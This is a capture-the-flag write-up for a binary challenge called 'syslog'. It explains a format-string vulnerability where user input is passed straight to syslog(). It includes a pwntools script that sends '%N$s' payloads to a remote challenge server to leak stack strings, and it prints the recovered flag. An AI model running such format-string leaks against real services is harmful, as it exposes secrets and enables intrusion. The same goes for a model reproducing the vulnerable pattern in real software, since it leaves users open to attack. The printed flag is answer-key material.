## Challenge Description
Leak the entire system, but wait this is not zeenbleed.
Flag format: CTF{sha256}
### Intuition
Checksec the binary to see what we have.
```$ checksec syslogLIBC_FILE=/lib/x86_64-linux-gnu/libc.so.6RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILEFull RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols	  No	0		4		syslog```All protections enabled! Wow! When I saw this initially I thought this will be a hard binary to exploit. So I went on and played with ``system-write`` first, lol. Please check that writeup for a full run-down of the binary.
The important thing to notice for this binary is the fact that ``syslog`` uses format strings. We have an arbitrary read through format string vulnerabilities. Since the description hints to leaking the whole system, the initial idea I had was to leak the whole stack and hope we get some ENV strings with the flag in them.
```c	printf("Enter the message to write to syslog: ");	fgets(local_218,0x200,stdin);	fgets(local_218,0x200,stdin);	syslog((int)local_222,local_218);	closelog();```
### Solution
The solution is just that - leaking strings from the stack for fun. We manually try different offsets and print strings in batches. I made a really quick, stupid script to do that:```py#!/usr/bin/env python3
from pwn import *
#target = process("./syslog")target = remote("35.246.203.171", 31245)
lines = []
# Play around with this offset, it might crash at certain offsets because addresses are not dereferenciblefor i in range(120, 1600):    target.sendline(b"1")    target.sendline(b"1") # priority
    payload = "%{}$s".format(i).encode()
    target.sendline(payload)
    target.sendline(b"2")    target.recvuntil(b'syslog')    lines.append(target.recvline())    print(lines[-1])
print(lines)target.interactive()```
#### Flag
```CTF{ab8f8dff1ca8d424d56d3e8b41296cba0ba4e2a7985927b510fe2734dacee073}```